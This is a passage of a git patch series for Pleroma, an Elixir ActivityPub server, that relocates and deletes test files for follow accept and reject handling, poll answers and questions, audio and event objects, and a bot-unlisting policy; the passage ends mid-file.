"https://gensokyo.2hu/users/raymoo") - - assert {:error, _} = ObjectValidator.validate(accept_data, []) - end - - test "it fails when the accepted activity doesn't exist", %{accept_data: accept_data} do - accept_data = - accept_data - |> Map.put("object", "https://gensokyo.2hu/users/raymoo/follows/1") - - assert {:error, _} = ObjectValidator.validate(accept_data, []) - end - - test "for an accepted follow, it only validates if the actor of the accept is the followed actor", - %{accept_data: accept_data} do - stranger = insert(:user) - - accept_data = - accept_data - |> Map.put("actor", stranger.ap_id) - - assert {:error, _} = ObjectValidator.validate(accept_data, []) - end -end diff --git a/test/web/activity_pub/object_validators/reject_validation_test.exs b/test/web/activity_pub/object_validators/reject_validation_test.exs deleted file mode 100644 index 370bb6e5c..000000000 --- a/test/web/activity_pub/object_validators/reject_validation_test.exs +++ /dev/null @@ -1,56 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.RejectValidationTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.ObjectValidator - alias Pleroma.Web.ActivityPub.Pipeline - - import Pleroma.Factory - - setup do - follower = insert(:user) - followed = insert(:user, local: false) - - {:ok, follow_data, _} = Builder.follow(follower, followed) - {:ok, follow_activity, _} = Pipeline.common_pipeline(follow_data, local: true) - - {:ok, reject_data, _} = Builder.reject(followed, follow_activity) - - %{reject_data: reject_data, followed: followed} - end - - test "it validates a basic 'reject'", %{reject_data: reject_data} do - assert {:ok, _, _} = ObjectValidator.validate(reject_data, []) - end - - test "it fails when the actor doesn't exist", %{reject_data: reject_data} do - reject_data = - reject_data - |> Map.put("actor", "https://gensokyo.2hu/users/raymoo") - - assert {:error, _} = ObjectValidator.validate(reject_data, []) - end - - test "it fails when the rejected activity doesn't exist", %{reject_data: reject_data} do - reject_data = - reject_data - |> Map.put("object", "https://gensokyo.2hu/users/raymoo/follows/1") - - assert {:error, _} = ObjectValidator.validate(reject_data, []) - end - - test "for an rejected follow, it only validates if the actor of the reject is the followed actor", - %{reject_data: reject_data} do - stranger = insert(:user) - - reject_data = - reject_data - |> Map.put("actor", stranger.ap_id) - - assert {:error, _} = ObjectValidator.validate(reject_data, []) - end -end diff --git a/test/web/activity_pub/transmogrifier/accept_handling_test.exs b/test/web/activity_pub/transmogrifier/accept_handling_test.exs deleted file mode 100644 index 77d468f5c..000000000 --- a/test/web/activity_pub/transmogrifier/accept_handling_test.exs +++ /dev/null @@ -1,91 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.AcceptHandlingTest do - use Pleroma.DataCase - - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - test "it works for incoming accepts which were pre-accepted" do - follower = insert(:user) - followed = insert(:user) - - {:ok, follower} = User.follow(follower, followed) - assert User.following?(follower, followed) == true - - {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) - - accept_data = - File.read!("test/fixtures/mastodon-accept-activity.json") - |> Poison.decode!() - |> Map.put("actor", followed.ap_id) - - object = - accept_data["object"] - |> Map.put("actor", follower.ap_id) - |> Map.put("id", follow_activity.data["id"]) - - accept_data = Map.put(accept_data, "object", object) - - {:ok, activity} = Transmogrifier.handle_incoming(accept_data) - refute activity.local - - assert activity.data["object"] == follow_activity.data["id"] - - assert activity.data["id"] == accept_data["id"] - - follower = User.get_cached_by_id(follower.id) - - assert User.following?(follower, followed) == true - end - - test "it works for incoming accepts which are referenced by IRI only" do - follower = insert(:user) - followed = insert(:user, locked: true) - - {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) - - accept_data = - File.read!("test/fixtures/mastodon-accept-activity.json") - |> Poison.decode!() - |> Map.put("actor", followed.ap_id) - |> Map.put("object", follow_activity.data["id"]) - - {:ok, activity} = Transmogrifier.handle_incoming(accept_data) - assert activity.data["object"] == follow_activity.data["id"] - - follower = User.get_cached_by_id(follower.id) - - assert User.following?(follower, followed) == true - - follower = User.get_by_id(follower.id) - assert follower.following_count == 1 - - followed = User.get_by_id(followed.id) - assert followed.follower_count == 1 - end - - test "it fails for incoming accepts which cannot be correlated" do - follower = insert(:user) - followed = insert(:user, locked: true) - - accept_data = - File.read!("test/fixtures/mastodon-accept-activity.json") - |> Poison.decode!() - |> Map.put("actor", followed.ap_id) - - accept_data = - Map.put(accept_data, "object", Map.put(accept_data["object"], "actor", follower.ap_id)) - - {:error, _} = Transmogrifier.handle_incoming(accept_data) - - follower = User.get_cached_by_id(follower.id) - - refute User.following?(follower, followed) == true - end -end diff --git a/test/web/activity_pub/transmogrifier/answer_handling_test.exs b/test/web/activity_pub/transmogrifier/answer_handling_test.exs deleted file mode 100644 index 0f6605c3f..000000000 --- a/test/web/activity_pub/transmogrifier/answer_handling_test.exs +++ /dev/null @@ -1,78 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.AnswerHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "incoming, rewrites Note to Answer and increments vote counters" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "suya...", - poll: %{options: ["suya", "suya.", "suya.."], expires_in: 10} - }) - - object = Object.normalize(activity) - - data = - File.read!("test/fixtures/mastodon-vote.json") - |> Poison.decode!() - |> Kernel.put_in(["to"], user.ap_id) - |> Kernel.put_in(["object", "inReplyTo"], object.data["id"]) - |> Kernel.put_in(["object", "to"], user.ap_id) - - {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - answer_object = Object.normalize(activity) - assert answer_object.data["type"] == "Answer" - assert answer_object.data["inReplyTo"] == object.data["id"] - - new_object = Object.get_by_ap_id(object.data["id"]) - assert new_object.data["replies_count"] == object.data["replies_count"] - - assert Enum.any?( - new_object.data["oneOf"], - fn - %{"name" => "suya..", "replies" => %{"totalItems" => 1}} -> true - _ -> false - end - ) - end - - test "outgoing, rewrites Answer to Note" do - user = insert(:user) - - {:ok, poll_activity} = - CommonAPI.post(user, %{ - status: "suya...", - poll: %{options: ["suya", "suya.", "suya.."], expires_in: 10} - }) - - poll_object = Object.normalize(poll_activity) - # TODO: Replace with CommonAPI vote creation when implemented - data = - File.read!("test/fixtures/mastodon-vote.json") - |> Poison.decode!() - |> Kernel.put_in(["to"], user.ap_id) - |> Kernel.put_in(["object", "inReplyTo"], poll_object.data["id"]) - |> Kernel.put_in(["object", "to"], user.ap_id) - - {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - {:ok, data} = Transmogrifier.prepare_outgoing(activity.data) - - assert data["object"]["type"] == "Note" - end -end diff --git a/test/web/activity_pub/transmogrifier/question_handling_test.exs b/test/web/activity_pub/transmogrifier/question_handling_test.exs deleted file mode 100644 index d2822ce75..000000000 --- a/test/web/activity_pub/transmogrifier/question_handling_test.exs +++ /dev/null @@ -1,176 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.QuestionHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "Mastodon Question activity" do - data = File.read!("test/fixtures/mastodon-question-activity.json") |> Poison.decode!() - - {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - - object = Object.normalize(activity, false) - - assert object.data["url"] == "https://mastodon.sdf.org/@rinpatch/102070944809637304" - - assert object.data["closed"] == "2019-05-11T09:03:36Z" - - assert object.data["context"] == activity.data["context"] - - assert object.data["context"] == - "tag:mastodon.sdf.org,2019-05-10:objectId=15095122:objectType=Conversation" - - assert object.data["context_id"] - - assert object.data["anyOf"] == [] - - assert Enum.sort(object.data["oneOf"]) == - Enum.sort([ - %{ - "name" => "25 char limit is dumb", - "replies" => %{"totalItems" => 0, "type" => "Collection"}, - "type" => "Note" - }, - %{ - "name" => "Dunno", - "replies" => %{"totalItems" => 0, "type" => "Collection"}, - "type" => "Note" - }, - %{ - "name" => "Everyone knows that!", - "replies" => %{"totalItems" => 1, "type" => "Collection"}, - "type" => "Note" - }, - %{ - "name" => "I can't even fit a funny", - "replies" => %{"totalItems" => 1, "type" => "Collection"}, - "type" => "Note" - } - ]) - - user = insert(:user) - - {:ok, reply_activity} = CommonAPI.post(user, %{status: "hewwo", in_reply_to_id: activity.id}) - - reply_object = Object.normalize(reply_activity, false) - - assert reply_object.data["context"] == object.data["context"] - assert reply_object.data["context_id"] == object.data["context_id"] - end - - test "Mastodon Question activity with HTML tags in plaintext" do - options = [ - %{ - "type" => "Note", - "name" => "<input type=\"date\">", - "replies" => %{"totalItems" => 0, "type" => "Collection"} - }, - %{ - "type" => "Note", - "name" => "<input type=\"date\"/>", - "replies" => %{"totalItems" => 0, "type" => "Collection"} - }, - %{ - "type" => "Note", - "name" => "<input type=\"date\" />", - "replies" => %{"totalItems" => 1, "type" => "Collection"} - }, - %{ - "type" => "Note", - "name" => "<input type=\"date\"></input>", - "replies" => %{"totalItems" => 1, "type" => "Collection"} - } - ] - - data = - File.read!("test/fixtures/mastodon-question-activity.json") - |> Poison.decode!() - |> Kernel.put_in(["object", "oneOf"], options) - - {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - object = Object.normalize(activity, false) - - assert Enum.sort(object.data["oneOf"]) == Enum.sort(options) - end - - test "Mastodon Question activity with custom emojis" do - options = [ - %{ - "type" => "Note", - "name" => ":blobcat:", - "replies" => %{"totalItems" => 0, "type" => "Collection"} - }, - %{ - "type" => "Note", - "name" => ":blobfox:", - "replies" => %{"totalItems" => 0, "type" => "Collection"} - } - ] - - tag = [ - %{ - "icon" => %{ - "type" => "Image", - "url" => "https://blob.cat/emoji/custom/blobcats/blobcat.png" - }, - "id" => "https://blob.cat/emoji/custom/blobcats/blobcat.png", - "name" => ":blobcat:", - "type" => "Emoji", - "updated" => "1970-01-01T00:00:00Z" - }, - %{ - "icon" => %{"type" => "Image", "url" => "https://blob.cat/emoji/blobfox/blobfox.png"}, - "id" => "https://blob.cat/emoji/blobfox/blobfox.png", - "name" => ":blobfox:", - "type" => "Emoji", - "updated" => "1970-01-01T00:00:00Z" - } - ] - - data = - File.read!("test/fixtures/mastodon-question-activity.json") - |> Poison.decode!() - |> Kernel.put_in(["object", "oneOf"], options) - |> Kernel.put_in(["object", "tag"], tag) - - {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - object = Object.normalize(activity, false) - - assert object.data["oneOf"] == options - - assert object.data["emoji"] == %{ - "blobcat" => "https://blob.cat/emoji/custom/blobcats/blobcat.png", - "blobfox" => "https://blob.cat/emoji/blobfox/blobfox.png" - } - end - - test "returns same activity if received a second time" do - data = File.read!("test/fixtures/mastodon-question-activity.json") |> Poison.decode!() - - assert {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - - assert {:ok, ^activity} = Transmogrifier.handle_incoming(data) - end - - test "accepts a Question with no content" do - data = - File.read!("test/fixtures/mastodon-question-activity.json") - |> Poison.decode!() - |> Kernel.put_in(["object", "content"], "") - - assert {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(data) - end -end diff --git a/test/web/activity_pub/transmogrifier/reject_handling_test.exs b/test/web/activity_pub/transmogrifier/reject_handling_test.exs deleted file mode 100644 index 7592fbe1c..000000000 --- a/test/web/activity_pub/transmogrifier/reject_handling_test.exs +++ /dev/null @@ -1,67 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.RejectHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - test "it fails for incoming rejects which cannot be correlated" do - follower = insert(:user) - followed = insert(:user, locked: true) - - accept_data = - File.read!("test/fixtures/mastodon-reject-activity.json") - |> Poison.decode!() - |> Map.put("actor", followed.ap_id) - - accept_data = - Map.put(accept_data, "object", Map.put(accept_data["object"], "actor", follower.ap_id)) - - {:error, _} = Transmogrifier.handle_incoming(accept_data) - - follower = User.get_cached_by_id(follower.id) - - refute User.following?(follower, followed) == true - end - - test "it works for incoming rejects which are referenced by IRI only" do - follower = insert(:user) - followed = insert(:user, locked: true) - - {:ok, follower} = User.follow(follower, followed) - {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) - - assert User.following?(follower, followed) == true - - reject_data = - File.read!("test/fixtures/mastodon-reject-activity.json") - |> Poison.decode!() - |> Map.put("actor", followed.ap_id) - |> Map.put("object", follow_activity.data["id"]) - - {:ok, %Activity{data: _}} = Transmogrifier.handle_incoming(reject_data) - - follower = User.get_cached_by_id(follower.id) - - assert User.following?(follower, followed) == false - end - - test "it rejects activities without a valid ID" do - user = insert(:user) - - data = - File.read!("test/fixtures/mastodon-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - |> Map.put("id", "") - - :error = Transmogrifier.handle_incoming(data) - end -end -- cgit v1.2.3 From f679486540625afe30a362c13f70ba0011da2c9c Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 19 Aug 2020 13:45:02 +0300 Subject: rebase --- .../transmogrifier/audio_handling_test.exs | 83 ++++++++++++++++++++++ .../transmogrifier/audio_handling_test.exs | 83 ---------------------- 2 files changed, 83 insertions(+), 83 deletions(-) create mode 100644 test/pleroma/web/activity_pub/transmogrifier/audio_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/audio_handling_test.exs (limited to 'test') diff --git a/test/pleroma/web/activity_pub/transmogrifier/audio_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/audio_handling_test.exs new file mode 100644 index 000000000..0636d00c5 --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/audio_handling_test.exs @@ -0,0 +1,83 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.AudioHandlingTest do + use Oban.Testing, repo: Pleroma.Repo + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.Transmogrifier + + import Pleroma.Factory + + test "it works for incoming listens" do + _user = insert(:user, ap_id: "http://mastodon.example.org/users/admin") + + data = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "cc" => [], + "type" => "Listen", + "id" => "http://mastodon.example.org/users/admin/listens/1234/activity", + "actor" => "http://mastodon.example.org/users/admin", + "object" => %{ + "type" => "Audio", + "id" => "http://mastodon.example.org/users/admin/listens/1234", + "attributedTo" => "http://mastodon.example.org/users/admin", + "title" => "lain radio episode 1", + "artist" => "lain", + "album" => "lain radio", + "length" => 180_000 + } + } + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + object = Object.normalize(activity) + + assert object.data["title"] == "lain radio episode 1" + assert object.data["artist"] == "lain" + assert object.data["album"] == "lain radio" + assert object.data["length"] == 180_000 + end + + test "Funkwhale Audio object" do + Tesla.Mock.mock(fn + %{url: "https://channels.tests.funkwhale.audio/federation/actors/compositions"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/funkwhale_channel.json") + } + end) + + data = File.read!("test/fixtures/tesla_mock/funkwhale_create_audio.json") |> Poison.decode!() + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert object = Object.normalize(activity, false) + + assert object.data["to"] == ["https://www.w3.org/ns/activitystreams#Public"] + + assert object.data["cc"] == [] + + assert object.data["url"] == "https://channels.tests.funkwhale.audio/library/tracks/74" + + assert object.data["attachment"] == [ + %{ + "mediaType" => "audio/ogg", + "type" => "Link", + "name" => nil, + "url" => [ + %{ + "href" => + "https://channels.tests.funkwhale.audio/api/v1/listen/3901e5d8-0445-49d5-9711-e096cf32e515/?upload=42342395-0208-4fee-a38d-259a6dae0871&download=false", + "mediaType" => "audio/ogg", + "type" => "Link" + } + ] + } + ] + end +end diff --git a/test/web/activity_pub/transmogrifier/audio_handling_test.exs b/test/web/activity_pub/transmogrifier/audio_handling_test.exs deleted file mode 100644 index 0636d00c5..000000000 --- a/test/web/activity_pub/transmogrifier/audio_handling_test.exs +++ /dev/null @@ -1,83 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.AudioHandlingTest do - use Oban.Testing, repo: Pleroma.Repo - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.Transmogrifier - - import Pleroma.Factory - - test "it works for incoming listens" do - _user = insert(:user, ap_id: "http://mastodon.example.org/users/admin") - - data = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "cc" => [], - "type" => "Listen", - "id" => "http://mastodon.example.org/users/admin/listens/1234/activity", - "actor" => "http://mastodon.example.org/users/admin", - "object" => %{ - "type" => "Audio", - "id" => "http://mastodon.example.org/users/admin/listens/1234", - "attributedTo" => "http://mastodon.example.org/users/admin", - "title" => "lain radio episode 1", - "artist" => "lain", - "album" => "lain radio", - "length" => 180_000 - } - } - - {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - - object = Object.normalize(activity) - - assert object.data["title"] == "lain radio episode 1" - assert object.data["artist"] == "lain" - assert object.data["album"] == "lain radio" - assert object.data["length"] == 180_000 - end - - test "Funkwhale Audio object" do - Tesla.Mock.mock(fn - %{url: "https://channels.tests.funkwhale.audio/federation/actors/compositions"} -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/funkwhale_channel.json") - } - end) - - data = File.read!("test/fixtures/tesla_mock/funkwhale_create_audio.json") |> Poison.decode!() - - {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - - assert object = Object.normalize(activity, false) - - assert object.data["to"] == ["https://www.w3.org/ns/activitystreams#Public"] - - assert object.data["cc"] == [] - - assert object.data["url"] == "https://channels.tests.funkwhale.audio/library/tracks/74" - - assert object.data["attachment"] == [ - %{ - "mediaType" => "audio/ogg", - "type" => "Link", - "name" => nil, - "url" => [ - %{ - "href" => - "https://channels.tests.funkwhale.audio/api/v1/listen/3901e5d8-0445-49d5-9711-e096cf32e515/?upload=42342395-0208-4fee-a38d-259a6dae0871&download=false", - "mediaType" => "audio/ogg", - "type" => "Link" - } - ] - } - ] - end -end -- cgit v1.2.3 From b081080dd9a138dccf5c3b8417913f975fdb8b52 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 2 Sep 2020 10:29:36 +0300 Subject: fixes after rebase --- test/mix/tasks/pleroma/frontend_test.exs | 2 +- .../transmogrifier/event_handling_test.exs | 40 ++++++++++++++++++++++ .../transmogrifier/event_handling_test.exs | 40 ---------------------- 3 files changed, 41 insertions(+), 41 deletions(-) create mode 100644 test/pleroma/web/activity_pub/transmogrifier/event_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/event_handling_test.exs (limited to 'test') diff --git a/test/mix/tasks/pleroma/frontend_test.exs b/test/mix/tasks/pleroma/frontend_test.exs index 022ae51be..6f9ec14cd 100644 --- a/test/mix/tasks/pleroma/frontend_test.exs +++ b/test/mix/tasks/pleroma/frontend_test.exs @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.FrontendTest do +defmodule Mix.Tasks.Pleroma.FrontendTest do use Pleroma.DataCase alias Mix.Tasks.Pleroma.Frontend diff --git a/test/pleroma/web/activity_pub/transmogrifier/event_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/event_handling_test.exs new file mode 100644 index 000000000..7f1ef2cbd --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/event_handling_test.exs @@ -0,0 +1,40 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.EventHandlingTest do + use Oban.Testing, repo: Pleroma.Repo + use Pleroma.DataCase + + alias Pleroma.Object.Fetcher + + test "Mobilizon Event object" do + Tesla.Mock.mock(fn + %{url: "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/mobilizon.org-event.json") + } + + %{url: "https://mobilizon.org/@tcit"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/mobilizon.org-user.json") + } + end) + + assert {:ok, object} = + Fetcher.fetch_object_from_id( + "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39" + ) + + assert object.data["to"] == ["https://www.w3.org/ns/activitystreams#Public"] + assert object.data["cc"] == [] + + assert object.data["url"] == + "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39" + + assert object.data["published"] == "2019-12-17T11:33:56Z" + assert object.data["name"] == "Mobilizon Launching Party" + end +end diff --git a/test/web/activity_pub/transmogrifier/event_handling_test.exs b/test/web/activity_pub/transmogrifier/event_handling_test.exs deleted file mode 100644 index 7f1ef2cbd..000000000 --- a/test/web/activity_pub/transmogrifier/event_handling_test.exs +++ /dev/null @@ -1,40 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.EventHandlingTest do - use Oban.Testing, repo: Pleroma.Repo - use Pleroma.DataCase - - alias Pleroma.Object.Fetcher - - test "Mobilizon Event object" do - Tesla.Mock.mock(fn - %{url: "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39"} -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/mobilizon.org-event.json") - } - - %{url: "https://mobilizon.org/@tcit"} -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/mobilizon.org-user.json") - } - end) - - assert {:ok, object} = - Fetcher.fetch_object_from_id( - "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39" - ) - - assert object.data["to"] == ["https://www.w3.org/ns/activitystreams#Public"] - assert object.data["cc"] == [] - - assert object.data["url"] == - "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39" - - assert object.data["published"] == "2019-12-17T11:33:56Z" - assert object.data["name"] == "Mobilizon Launching Party" - end -end -- cgit v1.2.3 From 7f5dbb020188eebfbfdf4860bbce4f1a8d66e06f Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Tue, 8 Sep 2020 18:35:07 +0300 Subject: changes after rebase --- .../force_bot_unlisted_policy_test.exs | 60 ---------------------- .../mrf/force_bot_unlisted_policy_test.exs | 60 ++++++++++++++++++++++ 2 files changed, 60 insertions(+), 60 deletions(-) delete mode 100644 test/pleroma/web/activity_pub/force_bot_unlisted_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs (limited to 'test') diff --git a/test/pleroma/web/activity_pub/force_bot_unlisted_policy_test.exs b/test/pleroma/web/activity_pub/force_bot_unlisted_policy_test.exs deleted file mode 100644 index 86dd9ddae..000000000 --- a/test/pleroma/web/activity_pub/force_bot_unlisted_policy_test.exs +++ /dev/null @@ -1,60 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy - @public "https://www.w3.org/ns/activitystreams#Public" - - defp generate_messages(actor) do - {%{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{}, - "to" => [@public, "f"], - "cc" => [actor.follower_address, "d"] - }, - %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, - "to" => ["f", actor.follower_address], - "cc" => ["d", @public] - }} - end - - test "removes from the federated timeline by nickname heuristics 1" do - actor = insert(:user, %{nickname: "annoying_ebooks@example.com"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end - - test "removes from the federated timeline by nickname heuristics 2" do - actor = insert(:user, %{nickname: "cirnonewsnetworkbot@meow.cat"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end - - test "removes from the federated timeline by actor type Application" do - actor = insert(:user, %{actor_type: "Application"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end - - test "removes from the federated timeline by actor type Service" do - actor = insert(:user, %{actor_type: "Service"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end -end diff --git a/test/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs b/test/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs new file mode 100644 index 000000000..86dd9ddae --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs @@ -0,0 +1,60 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy + @public "https://www.w3.org/ns/activitystreams#Public" + + defp generate_messages(actor) do + {%{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{}, + "to" => [@public, "f"], + "cc" => [actor.follower_address, "d"] + }, + %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, + "to" => ["f", actor.follower_address], + "cc" => ["d", @public] + }} + end + + test "removes from the federated timeline by nickname heuristics 1" do + actor = insert(:user, %{nickname: "annoying_ebooks@example.com"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by nickname heuristics 2" do + actor = insert(:user, %{nickname: "cirnonewsnetworkbot@meow.cat"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by actor type Application" do + actor = insert(:user, %{actor_type: "Application"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by actor type Service" do + actor = insert(:user, %{actor_type: "Service"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end +end -- cgit v1.2.3 From bb111465a14575fb6d6cc2e11db9b217ada7c431 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Sun, 13 Sep 2020 10:35:16 +0300 Subject: credo fix after rebase --- .../workers/purge_expired_activity_test.exs | 59 ++++++++++++++++++++++ test/pleroma/workers/purge_expired_token_test.exs | 51 +++++++++++++++++++ test/workers/purge_expired_activity_test.exs | 59 ---------------------- test/workers/purge_expired_token_test.exs | 51 ------------------- 4 files changed, 110 insertions(+), 110 deletions(-) create mode 100644 test/pleroma/workers/purge_expired_activity_test.exs create mode 100644 test/pleroma/workers/purge_expired_token_test.exs delete mode 100644 test/workers/purge_expired_activity_test.exs delete mode 100644 test/workers/purge_expired_token_test.exs (limited to 'test') diff --git a/test/pleroma/workers/purge_expired_activity_test.exs b/test/pleroma/workers/purge_expired_activity_test.exs new file mode 100644 index 000000000..b5938776d --- /dev/null +++ b/test/pleroma/workers/purge_expired_activity_test.exs @@ -0,0 +1,59 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Workers.PurgeExpiredActivityTest do + use Pleroma.DataCase, async: true + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + + alias Pleroma.Workers.PurgeExpiredActivity + + test 